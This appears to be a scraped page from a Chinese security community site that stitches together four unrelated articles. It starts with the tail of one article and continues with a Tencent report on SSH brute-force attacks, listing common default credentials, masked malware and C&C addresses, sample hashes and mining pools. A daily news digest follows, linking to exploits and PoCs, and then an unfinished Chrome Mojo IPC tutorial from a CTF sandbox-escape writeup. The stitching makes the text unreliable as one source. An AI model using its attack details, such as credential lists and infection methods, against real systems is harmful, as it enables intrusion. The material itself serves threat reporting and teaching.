只要找到问题点进行说明就很容易进行修复了。
**总结**
本文介绍应该比较详细了，本文事例如出现与文章不符现象，并非文章有错误，浏览器本身是有保护机制的，关于如何绕过浏览器保护机制不是本文所介绍的内容，技术有限，如有不足还请指出。
**参考文章**
<https://lcamtuf.blogspot.hk/2011/03/other-reason-to-beware-of.html> | 社区文章 |
# SSH 暴力破解趋势：从云平台向物联网设备迁移 | 云鼎实验室出品
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 导语
近日，腾讯云发布2018上半年安全专题系列研究报告，该系列报告围绕云上用户最常遭遇的安全威胁展开，用数据统计揭露攻击现状，通过溯源还原攻击者手法，让企业用户与其他用户在应对攻击时有迹可循，并为其提供可靠的安全指南。上篇报告从
DDoS 攻击的角度揭示了云上攻击最新趋势，本篇由同一技术团队云鼎实验室分享：「SSH 暴力破解趋势：从云平台向物联网设备迁移 」， 以下简称《报告》。
## 一、基本概念
### SSH 暴力破解是什么？
SSH
暴力破解是一种对远程登录设备（比如云服务器）的暴力攻击，该攻击会使用各种用户名、密码尝试登录设备，一旦成功登录，便可获得设备权限。本篇报告内容云鼎实验室从攻击现状、捕获样本、安全建议等方面展开。
近些年，新出现了众多入侵系统的手法，比如 Apache Struts2 漏洞利用、Hadoop Yarn REST API 未授权漏洞利用，但是古老的
SSH 暴力破解攻击手段不仅没有消亡，反而愈演愈烈。云鼎实验室在本篇《报告》中，对 SSH
暴力破解攻击从攻击者使用的攻击字典、攻击目标、攻击源地域分布、恶意文件等维度，以及捕获的攻击案例进行趋势分析。由于虚拟货币的兴起，攻击者不再仅仅利用通过
SSH 暴力破解控制的设备来进行 DDoS 攻击，还用来挖矿，牟取利益。
### 为什么 SSH 暴力破解攻击手段愈演愈烈？
主要原因：
➢ SSH 暴力破解工具已十分成熟，比如 Medusa、 Hydra 等，且下载渠道众多；
➢ SSH 暴力破解已经成为恶意程序（如 Gafgyt[1]、 GoScanSSH[2][3] 等）自动传播的主要方式之一。
大部分自动化 SSH 暴力破解攻击并不检测设备类型，只要发现开放的 SSH 服务就会进行攻击。由于这种无差别自动化攻击，开放 SSH 服务的 Linux
服务器（包括传统服务器、云服务器等）、物联网设备等自然就成为主要攻击目标。
## 二、攻击现状分析
### 1\. 攻击者所使用的 SSH 暴力破解攻击字典分析
云鼎实验室针对近期统计的 SSH 暴力破解登录数据分析发现：
➢ 接近99%的 SSH 暴力破解攻击是针对 admin 和 root 用户名；
➢ 攻击最常用弱密码前三名分别是 admin、 password、 root，占攻击次数的98.70%；
➢ 约85%的 SSH 暴力破解攻击使用了 admin / admin 与 admin / password 这两组用户名密码组合。
△ 表1 攻击者所使用的 SSH 暴力破解攻击字典 Top 20
### 2\. SSH 暴力破解攻击目标分析
云鼎实验室通过分析数据发现， SSH 暴力破解攻击目标主要分为 Linux 服务器（包括传统服务器、云服务器等）与物联网设备。
1）Linux 服务器（包括传统服务器、云服务器等）
➢ 大部分攻击都是针对 Linux 服务器默认管理账号 root，攻击者主要使用 admin、 root、 123456等常见弱密码进行暴力破解；
➢ 少部分攻击是针对 tomcat、 postgres、 hadoop、 mysql、 apache、 ftpuser、 vnc 等 Linux
服务器上常见应用程序使用的用户名。攻击者不仅使用常见通用弱密码，还会将用户名当作密码进行攻击。
➢ 另外，还发现针对 CSGO 游戏服务端（目前该服务端程序只能在 Linux 系统上安装）[4]的默认用户名 csgoserver
的攻击。攻击者同样也是使用常见弱密码进行暴力破解。
2）物联网设备
根据攻击者所使用的 SSH 暴力破解攻击字典分析结果，大量 SSH 暴力破解攻击使用了 admin / admin 与 admin / password
这两组用户名密码组合，而这两组用户名密码组合，正是路由器最常用的默认用户名密码组合[5][6]。由此可知，使用上述默认配置的路由器设备已成为攻击的主要目标。
除此之外，还发现针对特定物联网设备（比如摄像头、路由器、防火墙、树莓派等）的 SSH 暴力破解攻击。这些攻击使用了表2所示的用户名密码组合。
△ 表2 特定物联网设备的用户名密码组合
### 3\. SSH 暴力破解攻击次数地域分布情况
云鼎实验室最近统计到来自160多个国家的攻击，其中来自荷兰的攻击最多，占总攻击次数的76.42%；接着是来自保加利亚的攻击，占10.55%；排第三的是中国，占3.89%。由于欧洲部分国家，比如荷兰、保加利亚，VPS
监管宽松[7]，攻击者可以很方便地租用到 VPS 进行大量攻击。
来自国内的攻击中，接近60%的攻击来自于互联网产业发达的广东、北京、上海。
### 4\. 发起 SSH 暴力破解攻击的源 IP 地域分布情况
根据对攻击源中各国的 IP 数量统计，中国的攻击源 IP 最多，占26.70%，巴西、越南、美国不相上下。
国内的攻击源 IP 分布广泛，全国各地都有，且地域分布较为平均，没有出现攻击源 IP
数量特别多的省市，这是因为攻击者为了隐藏自己真实位置，躲避追踪，使用了不同地区的 IP 进行攻击。
### 5\. 植入恶意文件所使用的命令分析
分析发现，攻击者最爱搭建 HTTP 服务器来用于恶意文件的植入，因此自动化暴力破解攻击成功后，常使用 wget / curl 来植入恶意文件。不过，相比
curl 命令，Linux 的命令 wget，适用范围更广，因此攻击者会首选 wget 命令来植入恶意文件。
而少部分攻击者还会在 HTTP 服务器上，同时运行 TFTP 和 FTP 服务，并在植入恶意文件时，执行多个不同的植入命令。这样即使在 HTTP
服务不可用的情况下，仍可以通过 TFTP 或 FTP 植入恶意文件。
### 6\. 恶意文件服务器地域分布情况
由于采集的大部分节点在国内，因此统计到67%的恶意文件服务器部署在国内，且没有完全集中在互联网产业发达的地区，广东、上海占比就比较少。这是因为这些地区对服务器监管严格，因此攻击者选用其他地区的服务器存放恶意文件。
### 7\. 植入的恶意文件分析
对攻击后直接植入的恶意文件进行文件类型识别，超过50%的文件是 ELF 可执行文件；在这些 ELF 文件当中，x86 CPU
架构的文件最多，有63.33%；除x86和x64 CPU 架构的 ELF 文件以外，还有适用于 ARM 和 MIPS CPU 架构的 ELF
文件。而其余恶意文件的文件类型有 Shell 脚本、Perl、 Python 等（详情见下图）。因为 SSH 暴力破解是针对 Linux
系统的攻击，因此攻击成功后多数都是植入 ELF 可执行文件。
植入的恶意文件中反病毒引擎检测到病毒占比43.05%，病毒文件中属 DDoS 类型的恶意文件最多，接近70%，包括 Ganiw、 Dofloo、
Mirai、 Xarcen、 PNScan、 LuaBot、 Ddostf
等家族。另外，仅从这批恶意文件中，就发现了比特币等挖矿程序占5.21%，如下图所示：
## 三、案例分析
### 1\. SSH 暴力破解攻击案例整体流程
云鼎实验室于2018年06月10日7点12分发现的一次 SSH 暴力破解攻击，攻击者攻击成功后进行了以下操作：
### 2\. 恶意样本1分析[11][12] ——「DDoS 家族 Ddostf 的僵尸程序」
攻击者植入的第一个恶意样本是 DDoS 家族 Ddostf 的僵尸程序。简要的样本信息如下：
➢ 样本对应URL：http://210.*.*.165:22/nice
➢ 样本的MD5值：0dc02ed587676c5c1ca3e438bff4fb46
➢ 文件类型：ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux),
statically linked, for GNU/Linux 2.6.32, not stripped
➢ C&C地址：112.*.*.191:88
➢ 该样本共有6个功能函数，详情如下表3：
△ 表3 恶意样本1 的功能函数
➢ 该样本具有7种 DDoS 攻击类型，13个 DDoS 攻击函数，详情如下表：
△ 表4 恶意样本1 的 DDoS 攻击类型
### 3\. 恶意样本2分析 ——「一路赚钱」挖矿恶意程序」
攻击者植入的第二个恶意样本是挖矿相关的。由于虚拟货币的兴起，攻击者开始利用被控制的设备进行挖矿来牟取利益。简要的样本信息如下：
植入的恶意样本是「一路赚钱」的64位 Linux 挖矿恶意程序部署脚本，脚本执行后会植入「一路赚钱」 64位 Linux 版本的挖矿恶意程序压缩包，并解压到
/opt 目录下，然后运行主程序 mservice，注册为 Linux 系统服务，服务名为 YiluzhuanqianSer。该文件夹中有三个可执行文件
mservice / xige / xig，均被反病毒引擎检测出是挖矿类的恶意样本。根据配置文件可知， mservice
负责账号登录/设备注册/上报实时信息，而xige 和 xig负责挖矿， xige 挖以太币 ETH，xig 挖门罗币 XMR。
➢ 样本的MD5值：6ad599a79d712fbb2afb52f68b2d7935
➢ 病毒名：Win32.Trojan-downloader.Miner.Wskj
➢ 「一路赚钱」的64位 Linux 版本挖矿恶意程序文件夹内容如下：
△ 表5 「一路赚钱」的64位 Linux 版本挖矿恶意程序文件夹内容
➢ 挖矿使用的矿池地址：
xcn1.yiluzhuanqian.com:80
ecn1.yiluzhuanqian.com:38008
## 四、总结与建议
### 1\. 整体现状
* 由于物联网的蓬勃发展，设备数量暴增，因此物联网设备渐渐成为主要的攻击目标。
* 过去攻击者使用大量的弱密码进行攻击，而现在则使用少量的默认密码，对特定设备进行攻击。
* 过去更多是攻击者利用自动化 SSH 暴力破解工具发动攻击，植入僵尸程序，组建自己的僵尸网络。而现在僵尸程序可以自己发动攻击，自动传播感染新的设备，逐步壮大僵尸网络。
* 过去攻击者更多是利用已控制的服务器进行攻击，而现在攻击者会租用国外监管宽松的 VPS 进行大量的攻击。
* 攻击成功后的植入的恶意样本还是以 DDoS 家族为主，并开始出现挖矿程序[13]。
### 2\. 未来趋势
* 随着联网设备的不断增多[14]，SSH 暴力破解攻击会越来越多；
* 攻击者继续租用廉价国外 VPS，躲避监管，进行大规模的攻击；
* 日益增多的云服务依旧会被攻击者锁定，但攻击的整体趋势将从云平台向物联网设备迁移，物联网设备将成为最主要攻击目标。
### 3\. 安全建议
* 技术型用户，可根据下列建议提高 SSH 服务的安全性：
a. SSH 服务仅开放密钥验证方式，禁止 root 用户登录，修改默认端口。b.
修改默认密码，新密码最少8位，且包含大小写字母、数字、特殊字符。并检查是否使用了文中提到的弱密码。若使用了弱密码，也需要修改密码，加强安全性。c.
用户需要对自己的设备进行定期自查，检查是否有可疑程序运行，并清理可疑程序。· 运行 service YiluzhuanqianSer status
命令，检查是否存在「一路赚钱」挖矿恶意程序。（仅适用于 Linux 系统）· 查找 Linux 系统中是否存在以 mservice、 xige、 xig
命名的可执行文件。
* 普通用户可选择腾讯云云镜专业版提高云服务器的整体安全性。
腾讯云云镜基于腾讯安全积累的海量威胁数据，利用机器学习为用户提供黑客入侵检测和漏洞风险预警等安全防护服务，主要包括密码破解拦截、异常登录提醒、木马文件查杀、高危漏洞检测等安全功能，解决当前服务器面临的主要网络安全风险，帮助企业构建服务器安全防护体系，防止数据泄露，为企业有效预防安全威胁，减少因安全事件所造成的损失。
第一篇专题报告阅读链接：
<https://www.anquanke.com/post/id/147700>
参考链接：
[1] <http://www.freebuf.com/articles/wireless/160664.html>
[2] <https://threatpost.com/goscanssh-malware-targets-ssh-servers-but-avoids-military-and-gov-systems/130812/>
[3] <https://blog.talosintelligence.com/2018/03/goscanssh-analysis.html>
[4] <http://www.csteams.net/Servers/>
[5] <https://portforward.com/router-password/tp-link.htm>
[6] <https://www.lifewire.com/netgear-default-password-list-2619154>
[7] <https://www.lehaigou.com/2017/1219209295.shtml>
[8] <https://www.leiphone.com/news/201801/GLmAX9VzPhN17cpr.html>
[9] <http://www.freebuf.com/articles/paper/162404.html>
[10] <https://coinidol.com/ionchain-future-of-iot-mining-tool-for-all-things/>
[11] <http://blog.malwaremustdie.org/2016/01/mmd-0048-2016-ddostf-new-elf-windows.html>
[12] <https://larry.ngrep.me/2018/01/17/malwaremustdie-ddostf-analysis/>
[13] <http://www.freebuf.com/articles/network/161986.html>
[14] <http://www.freebuf.com/articles/terminal/128148.html>
审核人：yiwang 编辑：边边 | 社区文章 |
# 【知识】11月16日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 一加手机又被发现可疑应用OnePlusLogKit，可能造成用户隐私泄露、多级释放的恶意软件溜进Google
Play（将恶意代码放在assets 目录避免检测）、价值10万美元Chrome OS
exploit细节、CVE-2017-11873的exploit脚本（js）、Nexus5上6.0.1系统的Blueborne RCE PoC、Adobe
Readers CVE-2017-16379漏洞分析** ****
资讯类：
一加手机又被发现可疑应用，可能造成用户隐私泄露
昨天发现一加手机“疑似后门”的app的作者又发现一加手机上的一个应用（可在“拨号”界面按下*#800# 来启动）
作者称：“只需要申请拨打电话权限、然后点击一个按钮，任何人都可以记录你的GPS日志、WIFI日志信息，这些日志都是以未加密的形式保存在sdcard目录下的（以qmdl格式），之后任何其他应用只要申请了读取外部存储设备的权限（
**READ_EXTERNAL_STORAGE** ）都可以读取到。”
<https://twitter.com/fs0c131y/status/930787661035515904>
<https://www.bleepingcomputer.com/news/security/second-oneplus-factory-app-discovered-this-one-dumps-photos-wifi-and-gps-logs/>
访问作者twitter有更多内容：<https://twitter.com/fs0c131y>
多级释放的恶意软件溜进Google Play
（为避免被检测，将恶意代码放在assets 目录，在之后才被释放）
<https://www.welivesecurity.com/2017/11/15/multi-stage-malware-sneaks-google-play/>
BlueBorne蓝牙漏洞影响亚马逊echo智能音箱和Google智能家居设备
<https://www.bleepingcomputer.com/news/security/blueborne-vulnerability-also-affects-20mil-amazon-echo-and-google-home-devices/>
**技术类：**
****
Nexus5上6.0.1系统的Blueborne RCE PoC
<https://jesux.es/exploiting/blueborne-android-6.0.1-english/>
<https://gist.github.com/jesux/64cf037c55c0d42196762c0ccacc7380>
价值10万美元Chrome OS exploit细节
<https://bugs.chromium.org/p/chromium/issues/detail?id=766253>
Linux kernel v4.14的一些有趣的安全特性
<https://outflux.net/blog/archives/2017/11/14/security-things-in-linux-v4-14/>
CouchDB的远程代码执行
<https://justi.cz/security/2017/11/14/couchdb-rce-npm.html>
New EMOTET Hijacks a Windows API, Evades Sandbox and Analysis
<http://blog.trendmicro.com/trendlabs-security-intelligence/new-emotet-hijacks-windows-api-evades-sandbox-analysis/>
在多平台用来读取Excel文件的C库libxls被爆出多个远程代码执行漏洞
<http://blog.talosintelligence.com/2017/11/vulnerability-spotlight-libxls.html>
Xlight FTP服务器缓冲区溢出漏洞的PoC
<https://cxsecurity.com/issue/WLB-2017110088>
PHP 7.1.8的timelib_meridian()堆溢出漏洞
<https://cxsecurity.com/issue/WLB-2017110087>
不解锁bootloader的情况下root 一加5的脚本
<https://gist.github.com/aldur/b785257ac26d23bce648cad3ce2f6dc8>
PoshC2 v3 with SOCKS Proxy (SharpSocks)
<https://labs.nettitude.com/blog/poshc2-v3-with-socks-proxy-sharpsocks/>
SNIFFlab：搭建自己的中间人攻击测试环境
<https://www.darknet.org.uk/2017/11/snifflab-create-mitm-test-environment/>
应用afl-unicorn fuzz工具到多个平台的一些技巧
<https://hackernoon.com/afl-unicorn-part-2-fuzzing-the-unfuzzable-bea8de3540a5>
CVE-2017-11873的exploit脚本（js代码）
<https://github.com/theori-io/pwnjs/blob/master/examples/CVE-2017-11873.js>
Adobe Readers CVE-2017-16379/CY-2017-011 漏洞分析
<https://cybellum.com/cy-2017-011-type-confusion-in-adobe-acrobat/>
检测PowerShell攻击活动
<http://securityaffairs.co/wordpress/65570/hacking/powershell-attacks.html>
How I Pwned a company using IDOR & Blind XSS
<http://www.ansariosama.com/2017/11/how-i-pwned-company-using-idor-blind-xss.html>
Windows Kernel pool address leak via undocumented GetFontData feature in
ATMFD.dll
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1398> | 社区文章 |
# chrome sandbox escape case study and plaidctf2020 mojo writeup
## mojo
### Intro to Mojo & Services
#### mojo术语
message
pipe是一对endpoints，对应通信的两端，每个endpoint保存一个传入消息队列，并且在一端写入消息可以有效地传送到另一端，因此message
pipe是双向的。
一个mojom文件描述一组interfaces，其代表的是强类型的消息集合。
给定一个mojom接口和一条message
pipe，可以将其中一端指定为Remote，用来发送该接口描述的消息，另一端指定为Recevier，用来接收接口的消息。
注意:上面的概括有点过于简化。请记住，消息管道仍然是双向的，mojom
message有可能期望得到response，response是从Receiver端点发送的，并由Remote接收。
Receiver端必须和mojom接口的具体实现(implementation)相绑定，从而将收到的消息分发给对应的接口实现函数。
#### 定义一个新的Frame Interface
假设我们想从render
frame向其对应在browser进程里的RenderFrameHostImpl发送一个“Ping”消息，我们需要去定义一个mojom
interface，创建一个pipe去使用这个interface，然后绑定好pipe的两端以发送和接收消息。
##### 定义一个interface
第一步是去创建一个.mojom文件
// src/example/public/mojom/ping_responder.mojom
module example.mojom;
interface PingResponder {
// Receives a "Ping" and responds with a random integer.
Ping() => (int32 random);
};
对应创建一个build rule去生成c++ bindings
# src/example/public/mojom/BUILD.gn
import("//mojo/public/tools/bindings/mojom.gni")
mojom("mojom") {
sources = [ "ping_responder.mojom" ]
}
##### 创建pipe
现在，让我们创建一个消息管道以使用此接口。通常，为了方便起见，在使用Mojo时，接口的client（即remote）通常是创建新pipe的一方。这很方便，因为可以使用Remote来立即发送消息，而无需等待InterfaceRequest端点被绑定到任何地方。
// src/third_party/blink/example/public/ping_responder.h
mojo::Remote<example::mojom::PingResponder> ping_responder;
mojo::PendingReceiver<example::mojom::PingResponder> receiver =
ping_responder.BindNewPipeAndPassReceiver();
在此示例中，ping_responder是Remote，并且receiver是PendingReceiver，这是Receiver的前身。BindNewPipeAndPassReceiver是创建消息管道的最常见方法:它产生PendingReceiver作为返回值。
注意：一个PendingReceiver实际上不执行任何操作。它是单个消息管道端点的惰性持有者。它的存在只是为了使其端点在编译时具有更强的类型，这表明该端点希望被绑定到具体的接口类型。
##### 发送message
最后，我们可以通过Remote调用我们的Ping()方法来发送消息：
// src/third_party/blink/example/public/ping_responder.h
ping_responder->Ping(base::BindOnce(&OnPong));
重要说明：如果我们想接收response，则必须保持ping_responder对象处于活动状态直到OnPong被调用。毕竟，ping_responder拥有消息管道端点。如果它被销毁了，那么端点也将被销毁，将没有任何东西可以接收到响应消息。
我们快完成了！当然，如果一切都这么简单，那么该文档就不需要存在。我们已经解决了将消息从render进程发送到browser进程的难题，并将其转化为一个问题:
我们只要把上面的receiver object传递给browser进程，就可以让receiver来分发它收到的消息到具体的实现函数里。
##### 发送PendingReceiver给Browser
值得注意的是，PendingReceivers（通常是消息管道端点）也是可以通过mojom消息自由发送的一种对象，将PendingReceiver放置在某处的最常见方法是将其作为方法参数传递给其他已经连接的接口。
将render里的RenderFrameImpl和其对应的RenderFrameHostImpl连接的interface是BrowserInterfaceBroker
这个interface是用来获取其他interface的factory，它的GetInterface方法接收一个GenericPendingReceiver（GenericPendingReceiver允许传递任意的interface
receiver）
interface BrowserInterfaceBroker {
GetInterface(mojo_base.mojom.GenericPendingReceiver receiver);
}
由于GenericPendingReceiver可以从任何PendingReceiver隐式构造，所以可以使用之前通过BindNewPipeAndPassReceiver创建的receiver来调用此方法：
RenderFrame* my_frame = GetMyFrame();
my_frame->GetBrowserInterfaceBroker().GetInterface(std::move(receiver));
这将传送PendingReceiver到browser进程里，并被BrowserInterfaceBroker接口的具体实现接收和处理。
##### 实现interface
我们需要一个browser-side的PingResponder实现
#include "example/public/mojom/ping_responder.mojom.h"
class PingResponderImpl : example::mojom::PingResponder {
public:
// impl里保存receiver_
explicit PingResponderImpl(mojo::PendingReceiver<example::mojom::PingResponder> receiver)
: receiver_(this, std::move(receiver)) {}
// example::mojom::PingResponder:
void Ping(PingCallback callback) override {
// Respond with a random 4, chosen by fair dice roll.
std::move(callback).Run(4);
}
private:
mojo::Receiver<example::mojom::PingResponder> receiver_;
DISALLOW_COPY_AND_ASSIGN(PingResponderImpl);
};
RenderFrameHostImpl保存一个BrowserInterfaceBroker的实现，当此实现收到GetInterface方法调用时，它将调用先前为此特定接口注册的处理程序。
// render_frame_host_impl.h
class RenderFrameHostImpl
...
void GetPingResponder(mojo::PendingReceiver<example::mojom::PingResponder> receiver);
...
private:
...
std::unique_ptr<PingResponderImpl> ping_responder_;
...
// BrowserInterfaceBroker implementation through which this
// RenderFrameHostImpl exposes document-scoped Mojo services to the currently
// active document in the corresponding RenderFrame.
BrowserInterfaceBrokerImpl<RenderFrameHostImpl, RenderFrameHost*> broker_{
this};
mojo::Receiver<blink::mojom::BrowserInterfaceBroker> broker_receiver_{
&broker_};
};
// render_frame_host_impl.cc
// 可以看到GetPingResponder使用receiver构造出了一个PingResponderImpl对象
void RenderFrameHostImpl::GetPingResponder(
mojo::PendingReceiver<example::mojom::PingResponder> receiver) {
ping_responder_ = std::make_unique<PingResponderImpl>(std::move(receiver));
}
// browser_interface_binders.cc
void PopulateFrameBinders(RenderFrameHostImpl* host,
mojo::BinderMap* map) {
...
// Register the handler for PingResponder.
map->Add<example::mojom::PingResponder>(base::BindRepeating(
&RenderFrameHostImpl::GetPingResponder, base::Unretained(host)));
}
我们完成了,此设置足以在renderer frame与其browser-side host之间建立新的接口连接！
假设我们在render中将ping_responder对象保持足够长的生命，我们最终将看到其OnPong回调将以参数4调用，如上面的browser端实现所定义。
### Mojo Basics
#### Interfaces
同上，我们再看一组interface和它的impl
**Mojo通过callback来返回result，即正常我们看到的是return一个返回值return_value，而mojo则是在最后调用callback(return_value)来返回result**
module math.mojom;
interface Math {
// Adds two int32s and returns the result as an int64 (to avoid
// overflow issues).
Add(int32 x, int32 y) => (int64 sum);
};
...
mojom("mojom") {
sources = ["math.mojom"]
}
...
class MathImpl : public math::mojom::Math {
public:
explicit MathImpl(mojo::PendingReceiver<math::mojom::Math> receiver)
: receiver_(this, std::move(receiver)) {}
// math::mojom::Math overrides:
// Note: AddCallback is a type alias for base::OnceCallback<void(int64_t)>.
// The parameters to the callback are the reply parameters specified in the
// Mojo IDL method definition. This is part of the boilerplate generated by
// Mojo: invoking |reply| will send a reply to the caller.
void Add(int32_t x, int32_t y, AddCallback reply) override {
// Note: Mojo always returns results via callback. While it is possible to
// make a sync IPC which blocks on the reply, the handler will always return
// the result via callback.
std::move(reply).Run(static_cast<int64_t>(x) + y);
}
private:
// Wraps a message pipe endpoint that receives incoming messages. See the
// message pipes section below for more information.
// wrap消息管道的receiver端
mojo::Receiver<math::mojom::Math> receiver_;
};
#### Message Pipes
message pipe的两端已经在上面说过了，不再赘述
// Wraps a message pipe endpoint for making remote calls. May only be used on
// the sequence where the mojo::Remote was bound.
mojo::Remote<math::mojom::Math> remote_math = ...;
...
// 通常是保存在mojo impl里的一个类成员，wrap message pipe的receiver端，其分发ipc消息到具体的handler（典型的来说，就是发给this,也就是impl)，
// Usually a class member. Wraps a message pipe endpoint that receives incoming
// messages. Routes and dispatches IPCs to the handler—typically |this|—on the
// sequence where the mojo::Receiver was bound.
mojo::Receiver<math::mojom::Math> receiver_;
总之，作为结论，对于某一个interface，sender A可以向receiver
B进行任意数量的call，而B则可以针对A的每一次call发送一个response给A处理，这就体现出了一种有限的双向通信。
Message Pipes可以使用下述方法创建
##### mojo::Remote::BindNewPipeAndPassReceiver
当sender/caller创建endpoint时使用。保留一个endpoint以发送IPC消息，另一端点作为未绑定的`mojo::PendingReceiver<T>`返回，以便receiver/callee绑定到`mojo::Receiver<T>`
mojo::Remote<math::mojom::Math> remote_math;
// BindNewPipeAndPassReceiver返回一个mojo::PendingReceiver<math::mojom::Math>.
// 这可以被bound到一个mojo::Receiver<math::mojom::Math>去处理来自remote_math的调用
// BindNewPipeAndPassReceiver() returns a
// mojo::PendingReceiver<math::mojom::Math>. This may be bound to a
// mojo::Receiver<math::mojom::Math> to handle calls received from
// |remote_math|.
LaunchAndBindRemoteMath(remote_math.BindNewPipeAndPassReceiver());
// remote_math可以立刻被使用，Add call消息将在receiving端排队，直到其被bound到一个mojo::Receiver<math::mojom::Math>.
// 例如，被mojom的impl使用其构造receive_字段以隐式绑定或者显式的通过::Bind来绑定。
// |remote_math| may be immediately used. The Add() call will be buffered by the
// receiving end and dispatched when mojo::PendingReceiver<math::mojom::Math> is
// bound to a mojo::Receiver<math::mojom::Math>.
remote_math->Add(2, 2, base::BindOnce(...));
##### mojo::Receiver::BindNewPipeAndPassRemote
在receiver/callee创建端点时使用。保留一个端点以接收IPC，另一个端点作为未绑定的`mojo::PendingRemote<T>`返回，以使sender/caller方绑定到`mojo::Remote<T>`。
class MathImpl : public math::mojom::MathImpl {
// ...addition to the previous MathImpl definition...
mojo::PendingRemote<math::mojom::Math> GetRemoteMath() {
// BindNewPipeAndPassRemote() returns a
// `mojo::PendingRemote<math::mojom::Math>`. This may be bound to a
// `mojo::Remote<math::mojom::Math> which can be used to send IPCs that will
// be handled by |this|.
return receiver_.BindNewPipeAndPassRemote();
}
};
##### mojo::PendingRemote::InitWithNewPipeAndPassReceiver
不太常见，类似于`mojo::Remote<T>::BindNewPipeAndPassReceiver()`
##### mojo::Remote/mojo::Receiver and
mojo::PendingRemote/mojo::PendingReceiver
`mojo::Remote<T>`和`mojo::Receiver<T>`都有相应的未绑定版本:这允许在同一进程中的sequences之间,甚至在IPC上的进程之间传递端点。
mojo::Remote<math::mojom::MathImpl> remote = ...;
// |pending_remote| 是可移动的，并且可能会被传递。
// 未绑定时，端点不能用于发送IPC。pending_remote可以传递给mojo::Remote <T>构造函数或mojo::Remote<T>::Bind()来重新绑定端点。
// |pending_remote| is movable and may be passed around. While unbound, the
// endpoint cannot be used to send IPCs. The pending remote may be passed to
// the mojo::Remote<T> constructor or mojo::Remote<T>::Bind() to rebind the
// endpoint.
mojo::PendingRemote<math::mojom::MathImpl> pending_remote = remote.Unbind();
mojo::Receiver<math::mojom::MathImpl> receiver = ...;
// |pending_receiver| is movable and may be passed around. While unbound,
// received IPCs are buffered and not processed. The pending receiver may be
// passed to the mojo::Receiver<T> constructor or mojo::Receiver<T>::Bind() to
// rebind the endpoint.
mojo::PendingReceiver<math::mojom::MathImpl> pending_receiver = receiver.Unbind();
这里的bind和unbind实际上是通过在receiver里保存一个bind
state对象来维护的，具体的不叙，可以参考[具体代码](https://source.chromium.org/chromium/chromium/src/+/master:mojo/public/cpp/bindings/receiver.h)
### Mojo C++ Bindings API
#### Getting Started
//services/db/public/mojom/db.mojom
module db.mojom;
interface Table {
AddRow(int32 key, string data);
};
interface Database {
CreateTable(Table& table);
};
...
//services/db/public/mojom/BUILD.gn
import("//mojo/public/tools/bindings/mojom.gni")
mojom("mojom") {
sources = [
"db.mojom",
]
}
...
deps += [ '//services/db/public/mojom' ]
...
运行ninja -C out/r services/db/public/mojom会生成
->
out/gen/services/db/public/mojom/db.mojom.cc
out/gen/services/db/public/mojom/db.mojom.h
你能在源码里包含上面生成的头文件，以使用其定义
#include "services/business/public/mojom/factory.mojom.h"
class TableImpl : public db::mojom::Table {
// ...
};
本文档涵盖了Mojom IDL为C++使用者生成的各种定义，以及如何有效地使用它们,在消息管道之间进行通信。
#### Interfaces
##### Basic Usage
让我们看一下`//sample/logger.mojom`里定义的简单的接口，以及client如何使用他们去log simple string
message。
module sample.mojom;
interface Logger {
Log(string message);
};
通过binding generator将生成下面的定义
namespace sample {
namespace mojom {
class Logger {
virtual ~Logger() {}
virtual void Log(const std::string& message) = 0;
};
} // namespace mojom
} // namespace sample
##### Remote and PendingReceiver
##### Creating Interface Pipes
一种方法是手动创建pipe，并用强类型对象包装两端：
#include "sample/logger.mojom.h"
mojo::MessagePipe pipe;
mojo::Remote<sample::mojom::Logger> logger(
mojo::PendingRemote<sample::mojom::Logger>(std::move(pipe.handle0), 0));
mojo::PendingReceiver<sample::mojom::Logger> receiver(std::move(pipe.handle1));
这很冗长，所以c++
binding库提供了更简便的方法来完成这件事。[remote.h](https://cs.chromium.org/chromium/src/mojo/public/cpp/bindings/remote.h)定义了BindNewPipeAndPassReceiver
mojo::Remote<sample::mojom::Logger> logger;
auto receiver = logger.BindNewPipeAndPassReceiver());
这个代码和之前的等价。
绑定`PendingRemote<Logger>`后，我们可以立即开始在其上调用Logger接口方法，该方法将立即将消息写入管道。这些消息将在管道的receiver排队，直到有人绑定到receiver并开始读取它们为止。
logger->Log("Hello!");
但是`PendingReceiver<T>`本质上只是一个类型化的容器，用于容纳`Remote<T>`管道的另一端（即接收端），直到将其绑定到接口的具体实现上。
`PendingReceiver<T>`实际上除了保留管道端点并携带有用的编译时类型信息外，没有做任何其他事情。
因此该消息将永远存在于管道中。我们需要一种从管道的另一端读取消息并进行分发的方法。我们必须 **bind这个pending receiver**
##### Binding a Pending Receiver
这有许多不同的helper类，用于binding message
pipe的receiver端，其中最原始的是`mojo::Receiver<T>`，`mojo::Receiver<T>`将T的impl和单个的message
pipe端点`mojo::PendingReceiver<T>`绑定到一起，并监视是否有新消息发送过来。
每当bound pipe有新消息可读，Receiver都会安排一个task去读，反序列化消息并将其分发到其绑定的impl去。
下面是Logger接口的示例实现，注意，一般implement会own `mojo::Receiver`字段，这是一种常见的模式。因为
**绑定的implement必须比绑定它的任何mojo::Receiver存活的更久**
#include "base/logging.h"
#include "base/macros.h"
#include "sample/logger.mojom.h"
class LoggerImpl : public sample::mojom::Logger {
public:
// NOTE: A common pattern for interface implementations which have one
// instance per client is to take a PendingReceiver in the constructor.
explicit LoggerImpl(mojo::PendingReceiver<sample::mojom::Logger> receiver)
: receiver_(this, std::move(receiver)) {}
~Logger() override {}
// sample::mojom::Logger:
void Log(const std::string& message) override {
LOG(ERROR) << "[Logger] " << message;
}
private:
mojo::Receiver<sample::mojom::Logger> receiver_;
DISALLOW_COPY_AND_ASSIGN(LoggerImpl);
};
现在我们可以使用`PendingReceiver<Logger>`来构造出一个LoggerImpl,`LoggerImpl
impl(std::move(receiver));`
##### Receiving Responses
一些mojom接口需要response，我们修改Logger接口，从而获取最后一个Log行。
module sample.mojom;
interface Logger {
Log(string message);
GetTail() => (string message);
};
现在生成的c++ interface是这样的
namespace sample {
namespace mojom {
class Logger {
public:
virtual ~Logger() {}
virtual void Log(const std::string& message) = 0;
using GetTailCallback = base::OnceCallback<void(const std::string& message)>;
virtual void GetTail(GetTailCallback callback) = 0;
}
} // namespace mojom
} // namespace sample
和之前一样，此接口的client和implement对GetTail都使用相同的函数签名:implement使用callback参数去对请求进行响应，而client传递callback参数来异步接收响应，现在的implement是这样的:
class LoggerImpl : public sample::mojom::Logger {
public:
